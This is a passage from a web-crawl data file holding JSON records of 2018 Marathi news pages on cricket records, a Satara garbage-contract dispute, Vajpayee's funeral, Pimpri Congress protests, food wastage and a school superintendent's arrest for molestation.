सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00346.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://mahasports.co.in/most-away-dismissals-by-keeper-by-dhoni/", "date_download": "2018-09-25T17:00:41Z", "digest": "sha1:HPNCHUUAHR7V26CDTRJIJ4B6WQIPZIKJ", "length": 6322, "nlines": 63, "source_domain": "mahasports.co.in", "title": "धोनीचा पुन्हा एकदा नवा विक्रम ! -", "raw_content": "\nधोनीचा पुन्हा एकदा नवा विक्रम \nधोनीचा पुन्हा एकदा नवा विक्रम \nभारतीय संघाचा माजी कॅप्टन कूल आणि यष्टीरक्षक फलंदाज एमएस धोनीने श्रीलंकेविरुद्ध पुन्हा एकदा खास विक्रम केला. परदेशी भूमीवर खेळताना सार्वधिक बळी यष्टीमागे घेण्याचा विक्रम आता धोनीच्या नावावर झाला आहे.\nआज धोनी कारकिर्दीतील ७८वा टी२० सामना खेळत असून त्याने क्रिकेटच्या तिन्ही प्रकारात मिळून तब्बल ४७६ फलंदाजांला यष्टीमागे बाद केले आहे. यापूर्वी हा विक्रम दक्षिण आफ्रिकेच्या मार्क बाऊचरच्या नावावर होता. त्याने ४७५ फलंदाजांना यष्टींमागे बाद केले होते.\nधोनीने आजपर्यत कारकिर्दीत कसोटीमध्ये २९४, वन-डेमध्ये ३८३ तर टी२०मध्ये ६३ अशा एकूण ७४० फलंदाजांना यष्टीमागे बाद केले आहे. त्यातील २६४ फलंदाजांना भारतात तर ४६७ फलंदाजांना परदेशात त्याने बाद केले आहे.\nयष्टीरक्षक म्हणून परदेशी भूमीवर सर्वाधिक बळी घेणारे खेळाडू\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00346.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/538456", "date_download": "2018-09-25T17:17:41Z", "digest": "sha1:VKKEMUMSVWY3A3BVXDPO7LJDQY24UR3K", "length": 10299, "nlines": 46, "source_domain": "www.tarunbharat.com", "title": "घंटागाडी चालकांचा ठेका रद्द - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » आवृत्ती » सातारा » घंटागाडी चालकांचा ठेका रद्द\nघंटागाडी चालकांचा ठेका रद्द\nशहरातून कचरा गोळा करणाऱया घंटागाडी चालकांनी शनिवारपासून बेमुदत बंद केल्याची घोषणा करत जिल्हाधिकारी कार्यालयासमोर धरणे आंदोलन केले. त्यामुळे दोन दिवस शहरवासियाची गैरसोय झाल्याचा ठपका ठेवत पालिका प्रशासनाने रविवारी सर्व घंटागाडी चालकाचे जुने ठेके रद्द करण्याचा तडकाफडकी निर्णय घेतला. दरम्यान, तात्पुरती सोय म्हणून चार ट्रक्टर आणि टिपरद्वारे कचरा उचलला जात आहे. तसेच यांना आडकाठी आणण्याचा प्रयत्नही झाल्यामुळे कचरा डेपोच्या ठिकाणी मुख्याधिकारी शंकर गोरे, आरोग्य सभापती वसंत लेवे, नगरसेवक विशाल जाधव यांनी तेथे जावून पाहणी केली. दरम्यान, पोलिसांना निवेदन दिले आहे. चुकीचे कृत्य केल्यास संबंधितांवर कायदेशीर कारवाई केली जाईल, असा इशारा मुख्याधिकारी शंकर गोरे यांनी दिला आहे.\nघंटागाडी चालकांनी शनिवारी जिल्हाधिकारी कार्यालयासमोर बेमुदत आंदोलनाची घोषणा केली. त्यामुळे रविवारी सकाळीच सोनगाव कचरा डेपोच्या ठिकाणी वातावरण तंग झाले होते. घंटागाडी चालकांनी रास्ता रोको करण्याचा प्रयत्न केला होता. परंतु काहींनी मध्यस्थी केल्यानंतर हे वातावरण निवळले. ही माहिती लगेच आरोग्य सभापती वसंत लेवे, मुख्याधिकारी शंकर गोरे यांना मिळाली. त्यांनी तालुका पोलीस ठाण्याचे निरीक्षक प्रवीणकुमार जाधव यांची भेट घेवून त्यांना कायदा व सुव्यवस्था बिघडू नये अशा आशयाचे निवेदन दिले. तसेच सोनगाव कचरा डेपोची पाहणी केली. मात्र, यामुळे आता घंटागाडीचा प्रश्न चिघळला आहे.\nकायदेशीर कारवाई करण्याचा दिला इशारा\nसातारा पालिकेने 2014 पासून घंटागाडीचा ठेका ठेकेदारांना दिला आहे. गेल्या दीड वर्षापासून त्यामध्ये रिनिव्हेशन केले आहे. काही घंटागाडय़ा चांगलं काम करतात. तर काही घंटागाडय़ा कामच करत नाहीत. त्यामुळे भारत सरकारने सुरु केलेल्या स्वच्छ भारत अभियानात अडथळे येत आहेत. त्यामुळे नव्याने घंटागाडीचा ठेका काढला आहे. त्याच अनुषंगाने सर्व घंटागाडी ठेकदारांची बैठक होवूनही त्यांनी अचानक बंद केले आहे. कालपासून नागरिकांच्या आरोग्याचा प्रश्न निर्माण झाला आहे. रविवार हा सुट्टीचा दिवस असूनही घंटागाडी ठेका रद्द केला. पर्यायी व्यवस्था केली आहे. चालकमालकांनी कसलीही नोटीस न देता अनाधिकृत बंद केला आहे.\nआडमुठी भूमिका पालिका सहन करणार नाही\nपालिकेच्या घंटागाडय़ा कचरा डेपोत न सोडण्याचे प्रकार होत असल्याने तालुका पोलिसांना विनंतीवजा पत्र देवून कायदा व सुव्यवस्थेचा प्रश्न निर्माण होवू नये, अशी मागणी केली आहे. जर घंटागाडी चालकांनी समस्या मांडल्या असत्या तर पालिका आजही त्यांच्याशी चर्चा करायला तयार आहे. रविवारपासून आडमुठी भूमिका घेतल्याने आता पालिका सहन करणार नाही. त्यांनी ऐकल नाही तर कायदेशीर कारवाई करणार, असा इशारा मुख्याधिकारी शंकर गोरे यांनी दिला आहे.\nनागरिकांना वेठीस धरल्याने ठेका रद्द\nनगरपालिकेच्या गाडय़ा येतात त्या येवू नये म्हणून त्यासाठी कंपाऊडला कुलूप घातलं होते. त्यांनी घालू नये, गोंधळ होवू नये म्हणून पोलिसांना पत्र दिले. पर्यायी व्यवस्था आम्ही केली आहे तसेच आम्ही त्यांना शहराच्या जनतेला वेठीस धरु नका, अशी विनंतीही केली होती. तसेच त्यांच्या पोटावर पाय देण्याची आमची मानसिकता नाही. चांगल्या पद्धतीने काम करा, असेही सांगितले होते. परंतु त्यांनी पूर्वकल्पना दिली नाही. दोन दिवस नागरिकांना वेठीस धरल्याने आम्ही ठेका रद्द केला आहे, असे आरोग्य सभापती वसंत लेवे यांनी सांगितले.\nवांग मराठवाडी धरणाचे काम 2019 मध्ये पूर्ण होणार\nशिंदे हॉस्पिटलवर नातलगांचा हल्ला\nकाविळीच्या साथीने पोलिसाचा मृत्यू\nप्रशिक्षणाच्या माध्यमातून मूल्यमापन करा\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00347.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://lokmat.news18.com/amp/national/atal-bihari-vajpayee-funeral-narendra-modi-amit-shah-latest-updates-300972.html", "date_download": "2018-09-25T16:49:53Z", "digest": "sha1:LYVLV5RCFSO6N633D4CKXMFQIHZ4SJS4", "length": 2004, "nlines": 24, "source_domain": "lokmat.news18.com", "title": "Lokmat News - अटलजींची अंत्ययात्रा; सुरक्षेची तमा न बाळगता मोदी- शहा पायी चालत सहभागी–News18 Lokmat", "raw_content": "\nअटलजींची अंत्ययात्रा; सुरक्षेची तमा न बाळगता मोदी- शहा पायी चालत सहभागी\nमाजी पंतप्रधान अटल बिहारी वाजपेयी यांच्या अंत्ययात्रेला सुरुवात झाली आहे.\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\n‘गणेशोत्सवाचं मॅनेजमेंट’ : पुण्याच्या संस्कृतीचा संपन्न वारसा, श्रीमंत दगडूशेठ हलवाई गणपती\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00347.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://lokmat.news18.com/amp/national/atal-bihari-vajpayee-passed-away-amruta-fadnavis-shares-rare-photo-300872.html", "date_download": "2018-09-25T17:18:50Z", "digest": "sha1:2KRQVE2ZV3KMUULICH7KL6EBMZJHUZZ4", "length": 2314, "nlines": 24, "source_domain": "lokmat.news18.com", "title": "Lokmat News - अमृता फडणवीसांनी जागवल्या अटलजींच्या आठवणी, ट्विट केला दुर्मिळ फोटो–News18 Lokmat", "raw_content": "\nअमृता फडणवीसांनी जागवल्या अटलजींच्या आठवणी, ट्विट केला दुर्मिळ फोटो\nअटलजींच्या जाण्याने जे दु:ख झालं ते शब्दात व्यक्तच करू शकत नाही. त्यांचं आमच्यावर खूप प्रेम होतं. त्यांनी केलेली देशाची सेवा कायम स्मरणात राहिल. अशी भावना अमृता फडणवीस यांनी ट्विटरवर व्यक्त केल्या.\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\n‘गणेशोत्सवाचं मॅनेजमेंट’ : पुण्याच्या संस्कृतीचा संपन्न वारसा, श्रीमंत दगडूशेठ हलवाई गणपती\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00347.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/avoid/", "date_download": "2018-09-25T17:30:40Z", "digest": "sha1:5ATGJY427737QKLNRWEE5GV36CGZNO77", "length": 10164, "nlines": 122, "source_domain": "lokmat.news18.com", "title": "Avoid- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nफोटो गॅलरीAug 28, 2018\nऑफिसमध्ये काम करताना झोप येते... तर या गोष्टी खाणं टाळाच\nलाईफस्टाईल Aug 20, 2018\nशिजल्यानंतर हे ५ पदार्थ पोटासाठी असतात हानिकारक\n मग या 10 वाईट सवयी टाळा\nप्रवाशांना विमानातून हकलवण्यासाठी एअर एशियाच्या पायलटनं एसी केला जोरात\nलाईफस्टाईल Jun 17, 2018\nपावसाळ्यात 'या' भाज्या खाऊ नका\nएलफिन्स्टन दुर्घटनेबद्दल बाॅलिवूड सेलिब्रिटींच्या सहवेदना\nगर्भधारणेनंतर मांसाहार, सेक्स, कुसंगत टाळा; केंद्र सरकारचा अजब सल्ला\nलवकरच पेट्रोल, डिझेल घरपोच मिळणार, पेट्रोलियम मंत्र्यांची माहिती\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00347.warc.wet.gz", "language": "mr", "language_score": 0.9, "bucket": "all"} {"url": "http://pclive7.com/tag/congress/", "date_download": "2018-09-25T17:58:09Z", "digest": "sha1:ULKSYJTBFMUPLBL6IF6GPOADTCUYRMBD", "length": 10525, "nlines": 102, "source_domain": "pclive7.com", "title": "congress | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nपिंपरीत काँग्रेस, राष्ट्रवादीकडून भाजपा आमदार राम कदम यांचा निषेध\nपिंपरी (Pclive7.com):- मुंबईतील घाटकोपरचे आमदार राम कदम यांनी दहिहंडीप्रसंगी ‘मुलगी लग्नासाठी तयार नसेल, तर तिला पळवून आणण्यासाठी मी तुम्हाला मदत करेल, असे वादग्रस्त विधान केले होते. य...\tRead more\nभाजपाच्या हुकूमशाही वाटचालीला कर्नाटकामधून ‘चपराक’ – सचिन साठे; पिंपरीत काँग्रेसचा जल्लोष\nपिंपरी (Pclive7.com):- कर्नाटक विधानसभेत शनिवारी घडलेल्या राजीनाम्या नाट्यामुळे देशाची राज्यघटनाच अंतिम असल्याचे सर्वोच्च न्यायालयाच्या निर्णयामुळे सिध्द झाले. भाजपाच्या हुकूमशाही वाटचालीला...\tRead more\nयशवंतराव चव्हाण यांच्या विचारांचे चिंतन करण्याची गरज – सचिन साठे\nपिंपरी (Pclive7.com):- अखंड लोकशाही गुण्यागोविंदाने वृध्दींगत व्हावी म्हणून घटना समितीने राजकीय सत्तेवर कायद्याने मानवी हक्क अबाधित ठेवणारी बंधने घातली आहेत. सत्तास्थान हे लोककल्याणाचा एक मा...\tRead more\nनिवडणूक आयोगाची जाहिरातीमधील ‘पप्पू’ शब्दावर बंदी\nअहमदाबाद – निवडणूक आयोगाने एका इलेक्ट्रॉनिक जाहिरातीत ‘पप्पू’ शब्दाचा वापर करण्यावर गुजरातमध्ये सत्ताधारी भाजपवर बंदी घातली आहे. या जाहिरातीमध्ये काँग्रेस उपाध्यक्ष राहुल गांधी यांना ल...\tRead more\nवसंतदादा पाटील हे उत्तम प्रशासक आणि संघटक – सचिन साठे\nपिंपरी (Pclive7.com):- शिक्षणामुळेच बहुजनांची प्रगती झाली व समाजात त्यांना सन्मानाने जगण्यासाठी प्रतिष्ठा मिळाली. यासाठी तरुणांना उच्च शिक्षण व वैद्यकीय, अभियांत्रिकीचे व्यवसायिक शिक्षण मिळा...\tRead more\nनोटबंदी विरोधात पिंपरीत काँग्रेसचे जनआक्रोश आंदोलन\nपिंपरी (Pclive7.com):- एक वर्षांपुर्वी केलेल्या नोटाबंदीमुळे भ्रष्टाचार, दहशतवाद आणि काळा पैसा बाहेर आला नाही. देशभर शेकडो गरीब नागरिकांना प्राण गमवावे लागले. नोटाबंदीचा फायदा फक्त भाजपाचे र...\tRead more\nदादरमध्ये काँग्रेसच्या मोर्चात मनसेचा राडा…\nमुंबई (Pclive7.com):- शिवसेना-मनसेचा गड असलेल्या दादरमध्ये मुंबई काँग्रेस अध्यक्ष संजय निरुपम यांनी आज फेरीवाल्यांच्या समर्थनासाठी मोर्चा काढला आहे. यावेळी काँग्रेस आणि मनसे कार्यकर्त्यांमध्...\tRead more\nविचारांवर आणि त्यागावर काँग्रेस पक्ष उभा आहे – सचिन साठे\nपिंपरी (Pclive7.com):- सक्षम आणि धाडसी निर्णय घेणा-या पंतप्रधान इंदिरा गांधी यांची नोंद युनोने देखील घेतली होती. १९७१ साली बांगलादेशाची निर्मिती करुन पाकिस्तानला धडा शिकविला. पंजाबमधून खलिस्...\tRead more\nनिवडणुकीत खोटी शैक्षणिक माहिती दिल्या प्रकरणी नगरसेवक तुषार कामठे यांच्या विरोधात गुन्हा दाखल\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड महापालिकेच्या निवडणुकीत भाजपाचे नगरसेवक तुषार कामठे यांनी खोटी शैक्षणिक माहिती दिल्या प्रकरणी सांगवी पोलीसात गुन्हा दाखल करण्यात आला आहे. त्यांचे प्रतिस्...\tRead more\nनांदेडमध्ये पुन्हा ‘अशोकपर्व’; भाजपच्या राज्यातील घोडदौडीला लगाम\nपिंपरी :- मुख्यमंत्री, प्रदेशाध्यक्ष व मंत्रिमंडळातील १० मंत्र्यांचा ताफा राबूनही नांदेडकरांनी भाजपला नाकारत काँग्रेसचे प्रदेशाध्यक्ष अशोक चव्हाण यांच्या नेतृत्वाखालील काँग्रेसच्या बाजूने पु...\tRead more\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00349.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/editorial/marathi-infographics/lifestyle-marathi-infographics/wastage-of-food-in-india/articleshow/65556794.cms", "date_download": "2018-09-25T18:12:48Z", "digest": "sha1:NJDG7DN2SEK4PB6VASQBCJKWZJDAZOI6", "length": 8471, "nlines": 144, "source_domain": "maharashtratimes.indiatimes.com", "title": "Lifestyle Marathi Infographics News: wastage of food in india - अन्नाची नासाडी | Maharashtra Times", "raw_content": "\nशिळ घालत संवाद साधणाऱ्या गावची कथा\nशिळ घालत संवाद साधणाऱ्या गावची कथाWATCH LIVE TV\nअन्नाची सर्वाधिक नासाडी भारतात होतेय. उत्पादित अन्नधान्य व फळांपैकी सुमारे ४० टक्के सडून/सांडून वाया जातेय. याबाबत सर्वोच्च न्यायालयाच्या सूचना पाळण्यातही केंद्र व राज्य सरकार अपयशी ठरताहेत....\nमिळवा इन्फोग्राफिक्स बातम्या(Marathi Infographics News in Marathi) से मराठी बातम्या( Marathi News) तुमच्या मोबाइलवर मिळवण्यासाठी डाउनलोड करा Marathi News App ...आणि प्रत्येक बातमीबाबत राहा अपडेट\nMarathi Infographics News याच्याशी संबंधित ताजे अपडेट्स मिळवण्यासाठी मटा ऑनलाइनचे फेसबुक पेज लाइक करा\nसई ताम्हणकर आता 'अशी' दिसतेय\nशनाया निघाली न्यूयॉर्कला, चैन पडेना...\nसापानं लढवलेली युक्ती पाहून थक्क व्हाल\n'तुला पाहते रे'मधील ईशा नेमकी आहे कोण\nकोहली, मीराबाई खेलरत्न पुरस्काराने सन्मानित\nराजस्थानच्या मुख्यमंत्र्यांच्या सुरक्षा रक्षकाने चोरले पैसे\nमुस्लिम मुलासोबत प्रेमसंबंध; पोलिसांची तरुणीला मारहाण\nपती दिसायला सावळा, पत्नीने किस करताना चावली जीभ\nमेणबत्तीच्या प्रकाशात रुग्णांना तपासण्याची सक्ती\nगुजरातचा व्यापारी ५ हजार कोटी घेऊन पळाला\nजेट एअरवेजमधील प्रवाशांच्या नाका-कानातून रक्त\nपुण्यात २ अल्पवयीन मुलींवर बलात्कार, एकीचा मृत्यू\nदलित तरुणाशी लग्न; बापानं मुलीचा हात तोडला\nगुद्द्वारात हवा सोडली; कामगाराचा मृत्यू\nमटा न्यूज अॅलर्ट सबस्क्राइब करा\nदिवसभरातील ठळक बातम्या पाहा तुमच्या डेक्सस्टॉपवर\n*केव्हाही ब्राउजर सेटिंग्ज बदलून नोटिफिकेशन्स ऑफ करू शकता.\nमटा ऑनलाइन च्या अॅपसोबत\n2या देशांत टीव्हीचं सर्वाधिक वेड...\n3विमानातील पाच 'डर्टी स्पॉट'...\n4तुमची कार पाण्यात अडकली तर काय कराल\n5असा करा कपालभाती योग\n6योगा तुमच्या जीवनशैलीला साजेसा\n7लठ्ठपणा: एक जागतिक समस्या...\n8सिगारेटची सवय कशी सोडाल\n10लग्नासाठी कर्ज काढण्याचं प्रमाण वाढतंय......", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00349.warc.wet.gz", "language": "mr", "language_score": 0.69, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Molestation-of-Students-Ashram-School-Superintendent-arrested/", "date_download": "2018-09-25T17:02:23Z", "digest": "sha1:KOKAX2DYHITBWMZK5Y7VDKI73LM2BHCD", "length": 6231, "nlines": 35, "source_domain": "www.pudhari.news", "title": " विद्यार्थिनींचा विनयभंग : आश्रमशाळा अधीक्षकास अटक | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › विद्यार्थिनींचा विनयभंग : आश्रमशाळा अधीक्षकास अटक\nविद्यार्थिनींचा विनयभंग : आश्रमशाळा अधीक्षकास अटक\nडहाणू आदिवासी प्रकल्प विभागांतर्गत धामणगाव शासकीय आश्रमशाळेतील दहावीच्या विद्यार्थिनींशी आश्रमशाळा अधीक्षकाने अश्‍लील वर्तन, संभाषण करून त्यांचा विनयभंग केल्याचा धक्कादायक प्रकार उघडकीस आला. याप्रकरणी एका विद्यार्थिनीच्या तक्रारीनुसार नराधमाला तलासरी पोलिसांनी अटक केली. सूर्यकांत बागल असे त्याचे नाव असून, त्याच्यावर अ‍ॅट्रॉसिटी आणि पोस्को अंतर्गत गुन्हा दाखल करण्यात आला आहे.\nआरोपी सूर्यकांत बागल, मुलींना घरून किंवा नातेवाईकांचा फोन आल्याचे अथवा अन्य खोटी कारणे सांगून आपल्या कार्यालयात बोलवायचा. त्यानंतर त्यांच्यासोबत अश्‍लील वर्तन, संभाषण करून अश्‍लील व्हिडिओ दाखवून लैंगिक शोषण करायचा. या प्रकाराची दहावीतील एका पीडित मुलीने पत्राद्वारे शाळेतच असलेल्या चुलत भावाला माहिती दिल्यानंतर हा प्रकार उघडकीस आला. याबाबत मुलीच्या भावाने गावकर्‍यांच्या मदतीने वसतिगृहात जाऊन सूर्यकांतला जाब विचारला. यावेळी त्याने उडवाउडवीची उत्तरे दिल्याने त्याला चांगलाच चोप देऊन पोलिसांच्या ताब्यात दिले. सूर्यकांतने यापूर्वी अनेकदा अनेक विद्यार्थिनींसोबत अश्‍लील वर्तन केले आहे. यामुळे वसतिगृहातील विद्यार्थिनी दडपणाखाली आहेत.\nसध्या दहावीची परीक्षा सुरू असल्याने 12 विद्यार्थिनी वसतिगृहात राहून परीक्षा देत आहेत. मात्र, या धक्कादायक प्रकारामुळे त्या मानसिक तणावाखाली आहेत. आदिवासी प्रकल्पांतर्गत 